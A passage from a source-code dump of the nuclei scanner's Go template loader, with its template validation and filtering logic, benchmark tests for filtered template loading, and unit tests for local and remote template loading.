||\n\t\tstore.config.ExecutorOptions.Options.TemplateDisplay\n\n\tfor templatePath := range validPaths {\n\t\ttemplate, _, _ := templatesCache.Has(templatePath)\n\t\tif template == nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !isListOrDisplay && !template.IsEnabledFor(caps) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif loadedTemplateIDs.Has(template.ID) {\n\t\t\tstore.logger.Debug().Msgf(\"Skipping duplicate template ID '%s' from path '%s'\", template.ID, templatePath)\n\t\t\tcontinue\n\t\t}\n\n\t\t_ = loadedTemplateIDs.Set(template.ID, struct{}{})\n\t\ttemplate.Path = templatePath\n\t\tstore.templates = append(store.templates, template)\n\t}\n\n\treturn nil\n}\n\n// ValidateTemplates takes a list of templates and validates them\n// erroring out on discovering any faulty templates.\nfunc (store *Store) ValidateTemplates() error {\n\ttemplatePaths, errs := store.config.Catalog.GetTemplatesPath(store.finalTemplates)\n\tstore.logErroredTemplates(errs)\n\n\tworkflowPaths, errs := store.config.Catalog.GetTemplatesPath(store.finalWorkflows)\n\tstore.logErroredTemplates(errs)\n\n\ttemplatePathsMap := make(map[string]struct{}, len(templatePaths))\n\tfor _, path := range templatePaths {\n\t\ttemplatePathsMap[path] = struct{}{}\n\t}\n\n\tworkflowPathsMap := make(map[string]struct{}, len(workflowPaths))\n\tfor _, path := range workflowPaths {\n\t\tworkflowPathsMap[path] = struct{}{}\n\t}\n\n\tif store.areTemplatesValid(templatePathsMap) && store.areWorkflowsValid(workflowPathsMap) {\n\t\treturn nil\n\t}\n\n\treturn errors.New(\"errors occurred during template validation\")\n}\n\nfunc (store *Store) areWorkflowsValid(filteredWorkflowPaths map[string]struct{}) bool {\n\treturn store.areWorkflowOrTemplatesValid(filteredWorkflowPaths, true, func(templatePath string, tagFilter *templates.TagFilter) (bool, error) {\n\t\treturn store.config.ExecutorOptions.Parser.LoadWorkflow(templatePath, store.config.Catalog)\n\t})\n}\n\nfunc (store *Store) areTemplatesValid(filteredTemplatePaths map[string]struct{}) bool {\n\treturn store.areWorkflowOrTemplatesValid(filteredTemplatePaths, false, func(templatePath string, tagFilter *templates.TagFilter) (bool, error) {\n\t\treturn store.config.ExecutorOptions.Parser.LoadTemplate(templatePath, store.tagFilter, nil, store.config.Catalog)\n\t})\n}\n\nfunc (store *Store) areWorkflowOrTemplatesValid(filteredTemplatePaths map[string]struct{}, isWorkflow bool, load func(templatePath string, tagFilter *templates.TagFilter) (bool, error)) bool {\n\tareTemplatesValid := true\n\tparsedCache := store.parserCacheOnce()\n\n\tfor templatePath := range filteredTemplatePaths {\n\t\tif _, err := load(templatePath, store.tagFilter); err != nil {\n\t\t\tif isParsingError(store, \"Error occurred loading template %s: %s\\n\", templatePath, err) {\n\t\t\t\tareTemplatesValid = false\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tvar template *templates.Template\n\t\tvar err error\n\n\t\tif parsedCache != nil {\n\t\t\tif cachedTemplate, _, cacheErr := parsedCache.Has(templatePath); cacheErr == nil && cachedTemplate != nil {\n\t\t\t\ttemplate = cachedTemplate\n\t\t\t}\n\t\t}\n\n\t\tif template == nil {\n\t\t\ttemplate, err = templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions)\n\t\t\tif err != nil {\n\t\t\t\tif isParsingError(store, \"Error occurred parsing template %s: %s\\n\", templatePath, err) {\n\t\t\t\t\tareTemplatesValid = false\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif template == nil {\n\t\t\t// NOTE(dwisiswant0): possibly global matchers template.\n\t\t\t// This could definitely be handled better, for example by returning an\n\t\t\t// `ErrGlobalMatchersTemplate` during `templates.Parse` and checking it\n\t\t\t// with `errors.Is`.\n\t\t\t//\n\t\t\t// However, I'm not sure if every reference to it should be handled\n\t\t\t// that way. Returning a `templates.Template` pointer would mean it's\n\t\t\t// an active template (sending requests), and adding a specific field\n\t\t\t// like `isGlobalMatchers` in `templates.Template` (then checking it\n\t\t\t// with a `*templates.Template.IsGlobalMatchersEnabled` method) would\n\t\t\t// just introduce more unknown issues - like during template\n\t\t\t// clustering, AFAIK.\n\t\t\tcontinue\n\t\t} else {\n\t\t\tif existingTemplatePath, found := templateIDPathMap[template.ID]; !found {\n\t\t\t\ttemplateIDPathMap[template.ID] = templatePath\n\t\t\t} else {\n\t\t\t\t// TODO: until https://github.com/projectdiscovery/nuclei-templates/issues/11324 is deployed\n\t\t\t\t// disable strict validation to allow GH actions to run\n\t\t\t\t// areTemplatesValid = false\n\t\t\t\tstore.logger.Warning().Msgf(\"Found duplicate template ID during validation '%s' => '%s': %s\\n\", templatePath, existingTemplatePath, template.ID)\n\t\t\t}\n\n\t\t\tif !isWorkflow && template.HasWorkflows() {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tif isWorkflow {\n\t\t\tif !areWorkflowTemplatesValid(store, template.Workflows) {\n\t\t\t\tareTemplatesValid = false\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t}\n\n\treturn areTemplatesValid\n}\n\nfunc areWorkflowTemplatesValid(store *Store, workflows []*workflows.WorkflowTemplate) bool {\n\tfor _, workflow := range workflows {\n\t\tif !areWorkflowTemplatesValid(store, workflow.Subtemplates) {\n\t\t\treturn false\n\t\t}\n\n\t\t_, err := store.config.Catalog.GetTemplatePath(workflow.Template)\n\t\tif err != nil {\n\t\t\tif isParsingError(store, \"Error occurred loading template %s: %s\\n\", workflow.Template, err) {\n\t\t\t\treturn false\n\t\t\t}\n\t\t}\n\t}\n\n\treturn true\n}\n\nfunc isParsingError(store *Store, message string, template string, err error) bool {\n\tif errors.Is(err, templates.ErrExcluded) {\n\t\treturn false\n\t}\n\n\tif errors.Is(err, templates.ErrCreateTemplateExecutor) {\n\t\treturn false\n\t}\n\n\tstore.logger.Error().Msgf(message, template, err)\n\n\treturn true\n}\n\n// LoadTemplates takes a list of templates and returns paths for them\nfunc (store *Store) LoadTemplates(templatesList []string) ([]*templates.Template, error) {\n\treturn store.LoadTemplatesWithTags(templatesList, nil)\n}\n\n// LoadWorkflows takes a list of workflows and returns paths for them\nfunc (store *Store) LoadWorkflows(workflowsList []string) []*templates.Template {\n\tincludedWorkflows, errs := store.config.Catalog.GetTemplatesPath(workflowsList)\n\tstore.logErroredTemplates(errs)\n\n\tloadedWorkflows := make([]*templates.Template, 0, len(includedWorkflows))\n\tfor _, workflowPath := range includedWorkflows {\n\t\tloaded, err := store.config.ExecutorOptions.Parser.LoadWorkflow(workflowPath, store.config.Catalog)\n\t\tif err != nil {\n\t\t\tstore.logger.Warning().Msgf(\"Could not load workflow %s: %s\\n\", workflowPath, err)\n\t\t}\n\n\t\tif loaded {\n\t\t\tparsed, err := templates.Parse(workflowPath, store.preprocessor, store.config.ExecutorOptions)\n\t\t\tif err != nil {\n\t\t\t\tstore.logger.Warning().Msgf(\"Could not parse workflow %s: %s\\n\", workflowPath, err)\n\t\t\t} else if parsed != nil {\n\t\t\t\tloadedWorkflows = append(loadedWorkflows, parsed)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn loadedWorkflows\n}\n\n// LoadTemplatesWithTags takes a list of templates and extra tags\n// returning templates that match.\n// Returns an error if dialers are not initialized for the given execution ID.\nfunc (store *Store) LoadTemplatesWithTags(templatesList, tags []string) ([]*templates.Template, error) {\n\tdefer store.saveMetadataIndexOnce()\n\n\tindexFilter := store.indexFilter\n\n\tincludedTemplates, errs := store.config.Catalog.GetTemplatesPath(templatesList)\n\tstore.logErroredTemplates(errs)\n\n\tloadedTemplates := sliceutil.NewSyncSlice[*templates.Template]()\n\tloadedTemplateIDs := mapsutil.NewSyncLockMap[string, struct{}]()\n\n\tloadTemplate := func(tmpl *templates.Template) {\n\t\tif loadedTemplateIDs.Has(tmpl.ID) {\n\t\t\tstore.logger.Debug().Msgf(\"Skipping duplicate template ID '%s' from path '%s'\", tmpl.ID, tmpl.Path)\n\t\t\treturn\n\t\t}\n\n\t\t_ = loadedTemplateIDs.Set(tmpl.ID, struct{}{})\n\n\t\tloadedTemplates.Append(tmpl)\n\t\t// increment signed/unsigned counters\n\t\tif tmpl.Verified {\n\t\t\tif tmpl.TemplateVerifier == \"\" {\n\t\t\t\ttemplates.SignatureStats[keys.PDVerifier].Add(1)\n\t\t\t} else {\n\t\t\t\ttemplates.SignatureStats[tmpl.TemplateVerifier].Add(1)\n\t\t\t}\n\t\t} else {\n\t\t\ttemplates.SignatureStats[templates.Unsigned].Add(1)\n\t\t}\n\t}\n\n\ttypesOpts := store.config.ExecutorOptions.Options\n\tconcurrency := typesOpts.TemplateLoadingConcurrency\n\tif concurrency <= 0 {\n\t\tconcurrency = types.DefaultTemplateLoadingConcurrency\n\t}\n\n\twgLoadTemplates, errWg := syncutil.New(syncutil.WithSize(concurrency))\n\tif errWg != nil {\n\t\treturn nil, fmt.Errorf(\"could not create wait group: %w\", errWg)\n\t}\n\n\tif typesOpts.ExecutionId == \"\" {\n\t\ttypesOpts.ExecutionId = xid.New().String()\n\t}\n\n\tdialers := protocolstate.GetDialersWithId(typesOpts.ExecutionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers with executionId %s not found\", typesOpts.ExecutionId)\n\t}\n\n\tfor _, templatePath := range includedTemplates {\n\t\twgLoadTemplates.Add()\n\t\tgo func(templatePath string) {\n\t\t\tdefer wgLoadTemplates.Done()\n\n\t\t\tvar (\n\t\t\t\tmetadata       *index.Metadata\n\t\t\t\tmetadataCached bool\n\t\t\t)\n\n\t\t\tif store.metadataIndex != nil {\n\t\t\t\tif cachedMetadata, found := store.metadataIndex.Get(templatePath); found {\n\t\t\t\t\tmetadata = cachedMetadata\n\t\t\t\t\tif !indexFilter.Matches(metadata) {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\t// NOTE(dwisiswant0): else, tagFilter probably exists (for\n\t\t\t\t\t// IncludeConditions), which still need to check via\n\t\t\t\t\t// LoadTemplate.\n\n\t\t\t\t\tmetadataCached = true\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tloaded, err := store.config.ExecutorOptions.Parser.LoadTemplate(templatePath, store.tagFilter, tags, store.config.Catalog)\n\t\t\tif loaded {\n\t\t\t\tparsed, err := templates.Parse(templatePath, store.preprocessor, store.config.ExecutorOptions)\n\n\t\t\t\tif parsed != nil && !metadataCached {\n\t\t\t\t\tif store.metadataIndex != nil {\n\t\t\t\t\t\tmetadata, _ = store.metadataIndex.SetFromTemplate(templatePath, parsed)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tmetadata = index.NewMetadataFromTemplate(templatePath, parsed)\n\t\t\t\t\t}\n\n\t\t\t\t\tif metadata != nil && !indexFilter.Matches(metadata) {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif err != nil {\n\t\t\t\t\t// exclude templates not compatible with offline matching from total runtime warning stats\n\t\t\t\t\tif !errors.Is(err, templates.ErrIncompatibleWithOfflineMatching) {\n\t\t\t\t\t\tstats.Increment(templates.RuntimeWarningsStats)\n\t\t\t\t\t}\n\t\t\t\t\tstore.logger.Warning().Msgf(\"Could not parse template %s: %s\\n\", templatePath, err)\n\t\t\t\t} else if parsed != nil {\n\t\t\t\t\tif !parsed.Verified && typesOpts.DisableUnsignedTemplates {\n\t\t\t\t\t\t// skip unverified templates when prompted to\n\t\t\t\t\t\tstats.Increment(templates.SkippedUnsignedStats)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tif parsed.SelfContained && !typesOpts.EnableSelfContainedTemplates {\n\t\t\t\t\t\tstats.Increment(templates.ExcludedSelfContainedStats)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tif parsed.HasFileRequest() && !typesOpts.EnableFileTemplates {\n\t\t\t\t\t\tstats.Increment(templates.ExcludedFileStats)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\t// if template has request signature like aws then only signed and verified templates are allowed\n\t\t\t\t\tif parsed.UsesRequestSignature() && !parsed.Verified {\n\t\t\t\t\t\tstats.Increment(templates.SkippedRequestSignatureStats)\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\t// DAST only templates\n\t\t\t\t\t// Skip DAST filter when loading auth templates\n\t\t\t\t\tif store.ID() != AuthStoreId && typesOpts.DAST {\n\t\t\t\t\t\t// check if the template is a DAST template\n\t\t\t\t\t\t// also allow global matchers template to be loaded\n\t\t\t\t\t\tif parsed.IsFuzzableRequest() || parsed.IsGlobalMatchersTemplate() {\n\t\t\t\t\t\t\tif parsed.HasHeadlessRequest() && !typesOpts.Headless {\n\t\t\t\t\t\t\t\tstats.Increment(templates.ExcludedHeadlessTmplStats)\n\t\t\t\t\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] Headless flag is required for headless template '%s'.\\n\", aurora.Yellow(\"WRN\").String(), templatePath)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tloadTemplate(parsed)\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if parsed.HasHeadlessRequest() && !typesOpts.Headless {\n\t\t\t\t\t\t// donot include headless template in final list if headless flag is not set\n\t\t\t\t\t\tstats.Increment(templates.ExcludedHeadlessTmplStats)\n\t\t\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] Headless flag is required for headless template '%s'.\\n\", aurora.Yellow(\"WRN\").String(), templatePath)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if parsed.HasCodeRequest() && !typesOpts.EnableCodeTemplates {\n\t\t\t\t\t\t// donot include 'Code' protocol custom template in final list if code flag is not set\n\t\t\t\t\t\tstats.Increment(templates.ExcludedCodeTmplStats)\n\t\t\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] Code flag is required for code protocol template '%s'.\\n\", aurora.Yellow(\"WRN\").String(), templatePath)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if parsed.HasCodeRequest() && !parsed.Verified && !parsed.HasWorkflows() {\n\t\t\t\t\t\t// donot include unverified 'Code' protocol custom template in final list\n\t\t\t\t\t\tstats.Increment(templates.SkippedCodeTmplTamperedStats)\n\t\t\t\t\t\t// these will be skipped so increment skip counter\n\t\t\t\t\t\tstats.Increment(templates.SkippedUnsignedStats)\n\t\t\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] Tampered/Unsigned template at %v.\\n\", aurora.Yellow(\"WRN\").String(), templatePath)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if parsed.IsFuzzableRequest() && !typesOpts.DAST {\n\t\t\t\t\t\tstats.Increment(templates.ExcludedDastTmplStats)\n\t\t\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] -dast flag is required for DAST template '%s'.\\n\", aurora.Yellow(\"WRN\").String(), templatePath)\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tloadTemplate(parsed)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tif strings.Contains(err.Error(), templates.ErrExcluded.Error()) {\n\t\t\t\t\tstats.Increment(templates.TemplatesExcludedStats)\n\t\t\t\t\tif config.DefaultConfig.LogAllEvents {\n\t\t\t\t\t\tstore.logger.Print().Msgf(\"[%v] %v\\n\", aurora.Yellow(\"WRN\").String(), err.Error())\n\t\t\t\t\t}\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tstore.logger.Warning().Msg(err.Error())\n\t\t\t}\n\t\t}(templatePath)\n\t}\n\n\twgLoadTemplates.Wait()\n\n\tsort.SliceStable(loadedTemplates.Slice, func(i, j int) bool {\n\t\treturn loadedTemplates.Slice[i].Path < loadedTemplates.Slice[j].Path\n\t})\n\n\treturn loadedTemplates.Slice, nil\n}\n\n// IsHTTPBasedProtocolUsed returns true if http/headless protocol is being used for\n// any templates.\nfunc IsHTTPBasedProtocolUsed(store *Store) bool {\n\ttemplates := append(store.Templates(), store.Workflows()...)\n\n\tfor _, template := range templates {\n\t\tif template.HasHTTPRequest() || template.HasHeadlessRequest() {\n\t\t\treturn true\n\t\t}\n\n\t\tif template.HasWorkflows() {\n\t\t\tif workflowContainsProtocol(template.Workflows) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\nfunc workflowContainsProtocol(workflow []*workflows.WorkflowTemplate) bool {\n\tfor _, workflow := range workflow {\n\t\tfor _, template := range workflow.Matchers {\n\t\t\tif workflowContainsProtocol(template.Subtemplates) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\tfor _, template := range workflow.Subtemplates {\n\t\t\tif workflowContainsProtocol(template.Subtemplates) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t\tfor _, executer := range workflow.Executers {\n\t\t\tif executer.TemplateType == templateTypes.HTTPProtocol || executer.TemplateType == templateTypes.HeadlessProtocol {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (s *Store) logErroredTemplates(erred map[string]error) {\n\tfor template, err := range erred {\n\t\tif s.NotFoundCallback == nil || !s.NotFoundCallback(template) {\n\t\t\ts.logger.Error().Msgf(\"Could not find template '%s': %s\", template, err)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "pkg/catalog/loader/loader_bench_test.go",
    "content": "package loader_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/loader/workflow\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nfunc BenchmarkStoreValidateTemplates(b *testing.B) {\n\toptions := testutils.DefaultOptions.Copy()\n\toptions.Logger = &gologger.Logger{}\n\ttestutils.Init(options)\n\n\tcatalog := disk.NewCatalog(config.DefaultConfig.TemplatesDirectory)\n\texecuterOpts := testutils.NewMockExecuterOptions(options, nil)\n\texecuterOpts.Parser = templates.NewParser()\n\n\tworkflowLoader, err := workflow.NewLoader(executerOpts)\n\tif err != nil {\n\t\tb.Fatalf(\"could not create workflow loader: %s\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n\n\tloaderCfg := loader.NewConfig(options, catalog, executerOpts)\n\n\tstore, err := loader.New(loaderCfg)\n\tif err != nil {\n\t\tb.Fatalf(\"could not create store: %s\", err)\n\t}\n\n\tb.ResetTimer()\n\tb.ReportAllocs()\n\n\tfor b.Loop() {\n\t\t_ = store.ValidateTemplates()\n\t}\n}\n\nfunc BenchmarkLoadTemplates(b *testing.B) {\n\toptions := testutils.DefaultOptions.Copy()\n\toptions.Logger = &gologger.Logger{}\n\toptions.ExecutionId = \"bench-load-templates\"\n\ttestutils.Init(options)\n\n\tcatalog := disk.NewCatalog(config.DefaultConfig.TemplatesDirectory)\n\texecuterOpts := testutils.NewMockExecuterOptions(options, nil)\n\texecuterOpts.Parser = templates.NewParser()\n\n\tworkflowLoader, err := workflow.NewLoader(executerOpts)\n\tif err != nil {\n\t\tb.Fatalf(\"could not create workflow loader: %s\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n\n\tb.Run(\"NoFilter\", func(b *testing.B) {\n\t\tloaderCfg := loader.NewConfig(options, catalog, executerOpts)\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_, _ = store.LoadTemplates([]string{config.DefaultConfig.TemplatesDirectory})\n\t\t}\n\t})\n\n\tb.Run(\"FilterBySeverityCritical\", func(b *testing.B) {\n\t\topts := options.Copy()\n\t\topts.Severities = severity.Severities{severity.Critical}\n\t\tloaderCfg := loader.NewConfig(opts, catalog, executerOpts)\n\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_, _ = store.LoadTemplates([]string{config.DefaultConfig.TemplatesDirectory})\n\t\t}\n\t})\n\n\tb.Run(\"FilterBySeverityHighCritical\", func(b *testing.B) {\n\t\topts := options.Copy()\n\t\topts.Severities = severity.Severities{severity.High, severity.Critical}\n\t\tloaderCfg := loader.NewConfig(opts, catalog, executerOpts)\n\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_, _ = store.LoadTemplates([]string{config.DefaultConfig.TemplatesDirectory})\n\t\t}\n\t})\n\n\tb.Run(\"FilterByAuthor\", func(b *testing.B) {\n\t\topts := options.Copy()\n\t\topts.Authors = []string{\"pdteam\"}\n\t\tloaderCfg := loader.NewConfig(opts, catalog, executerOpts)\n\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_, _ = store.LoadTemplates([]string{config.DefaultConfig.TemplatesDirectory})\n\t\t}\n\t})\n\n\tb.Run(\"FilterByTags\", func(b *testing.B) {\n\t\topts := options.Copy()\n\t\topts.Tags = []string{\"cve\", \"rce\"}\n\t\tloaderCfg := loader.NewConfig(opts, catalog, executerOpts)\n\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_, _ = store.LoadTemplates([]string{config.DefaultConfig.TemplatesDirectory})\n\t\t}\n\t})\n\n\tb.Run(\"FilterByProtocol\", func(b *testing.B) {\n\t\topts := options.Copy()\n\t\topts.Protocols = templateTypes.ProtocolTypes{templateTypes.HTTPProtocol}\n\t\tloaderCfg := loader.NewConfig(opts, catalog, executerOpts)\n\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_, _ = store.LoadTemplates([]string{config.DefaultConfig.TemplatesDirectory})\n\t\t}\n\t})\n\n\tb.Run(\"ComplexFilter\", func(b *testing.B) {\n\t\topts := options.Copy()\n\t\topts.Severities = severity.Severities{severity.High, severity.Critical}\n\t\topts.Authors = []string{\"pdteam\"}\n\t\topts.Tags = []string{\"cve\"}\n\t\tloaderCfg := loader.NewConfig(opts, catalog, executerOpts)\n\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_, _ = store.LoadTemplates([]string{config.DefaultConfig.TemplatesDirectory})\n\t\t}\n\t})\n}\n\nfunc BenchmarkLoadTemplatesOnlyMetadata(b *testing.B) {\n\toptions := testutils.DefaultOptions.Copy()\n\toptions.Logger = &gologger.Logger{}\n\toptions.ExecutionId = \"bench-metadata\"\n\ttestutils.Init(options)\n\n\tcatalog := disk.NewCatalog(config.DefaultConfig.TemplatesDirectory)\n\texecuterOpts := testutils.NewMockExecuterOptions(options, nil)\n\texecuterOpts.Parser = templates.NewParser()\n\n\tworkflowLoader, err := workflow.NewLoader(executerOpts)\n\tif err != nil {\n\t\tb.Fatalf(\"could not create workflow loader: %s\", err)\n\t}\n\texecuterOpts.WorkflowLoader = workflowLoader\n\n\tb.Run(\"WithoutFilter\", func(b *testing.B) {\n\t\tloaderCfg := loader.NewConfig(options, catalog, executerOpts)\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\t// Pre-warm the cache\n\t\t_ = store.LoadTemplatesOnlyMetadata()\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_ = store.LoadTemplatesOnlyMetadata()\n\t\t}\n\t})\n\n\tb.Run(\"WithSeverityFilter\", func(b *testing.B) {\n\t\topts := options.Copy()\n\t\topts.Severities = severity.Severities{severity.Critical}\n\t\tloaderCfg := loader.NewConfig(opts, catalog, executerOpts)\n\n\t\tstore, err := loader.New(loaderCfg)\n\t\tif err != nil {\n\t\t\tb.Fatalf(\"could not create store: %s\", err)\n\t\t}\n\n\t\t// Pre-warm the cache\n\t\t_ = store.LoadTemplatesOnlyMetadata()\n\n\t\tb.ResetTimer()\n\t\tb.ReportAllocs()\n\n\t\tfor b.Loop() {\n\t\t\t_ = store.LoadTemplatesOnlyMetadata()\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "pkg/catalog/loader/loader_test.go",
    "content": "package loader\n\nimport (\n\t\"reflect\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/disk\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestLoadTemplates(t *testing.T) {\n\tcatalog := disk.NewCatalog(\"\")\n\n\tstore, err := New(&Config{\n\t\tTemplates: []string{\"cves/CVE-2021-21315.yaml\"},\n\t\tCatalog:   catalog,\n\t})\n\trequire.Nil(t, err, \"could not load templates\")\n\trequire.Equal(t, []string{\"cves/CVE-2021-21315.yaml\"}, store.finalTemplates, \"could not get correct templates\")\n\n\ttemplatesDirectory := \"/test\"\n\tconfig.DefaultConfig.TemplatesDirectory = templatesDirectory\n\tt.Run(\"blank\", func(t *testing.T) {\n\t\tstore, err := New(&Config{\n\t\t\tCatalog: catalog,\n\t\t})\n\t\trequire.Nil(t, err, \"could not load templates\")\n\t\trequire.Equal(t, []string{templatesDirectory}, store.finalTemplates, \"could not get correct templates\")\n\t})\n\tt.Run(\"only-tags\", func(t *testing.T) {\n\t\tstore, err := New(&Config{\n\t\t\tTags:    []string{\"cves\"},\n\t\t\tCatalog: catalog,\n\t\t})\n\t\trequire.Nil(t, err, \"could not load templates\")\n\t\trequire.Equal(t, []string{templatesDirectory}, store.finalTemplates, \"could not get correct templates\")\n\t})\n\tt.Run(\"tags-with-path\", func(t *testing.T) {\n\t\tstore, err := New(&Config{\n\t\t\tTags:    []string{\"cves\"},\n\t\t\tCatalog: catalog,\n\t\t})\n\t\trequire.Nil(t, err, \"could not load templates\")\n\t\trequire.Equal(t, []string{templatesDirectory}, store.finalTemplates, \"could not get correct templates\")\n\t})\n}\n\nfunc TestRemoteTemplates(t *testing.T) {\n\tcatalog := disk.NewCatalog(\"\")\n\n\tvar nilStringSlice []string\n\ttype args struct {\n\t\tconfig *Config\n\t}\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    *Store\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"remote-templates-positive\",\n\t\t\targs: args{\n\t\t\t\tconfig: &Config{\n\t\t\t\t\tTemplateURLs:             []string{\"https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/technologies/tech-detect.yaml\"},\n\t\t\t\t\tRemoteTemplateDomainList: []string{\"localhost\", \"raw.githubusercontent.com\"},\n\t\t\t\t\tCatalog:                  catalog,\n\t\t\t\t},\n\t\t\t},\n\t\t\twant: &Store{\n\t\t\t\tfinalTemplates: []string{\"https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/technologies/tech-detect.yaml\"},\n\t\t\t},\n\t\t\twantErr: false,\n\t\t},\n\t\t{\n\t\t\tname: \"remote-templates-negative\",\n\t\t\targs: args{\n\t\t\t\tconfig: &Config{\n\t\t\t\t\tTemplateURLs:             []string{\"https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/technologies/tech-detect.yaml\"},\n\t\t\t\t\tRemoteTemplateDomainList: []string{\"localhost\"},\n\t\t\t\t\tCatalog:                  catalog,\n\t\t\t\t},\n\t\t\t},\n\t\t\twant: &Store{\n\t\t\t\tfinalTemplates: nilStringSlice,\n\t\t\t},\n\t\t\twantErr: true,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := New(tt.args.config)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"New() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tif !reflect.DeepEqual(got.finalTemplates, tt.want.finalTemplates) {\n\t\t\t\tt.Errorf(\"New() = %v, want %v\", got.finalTemplates, 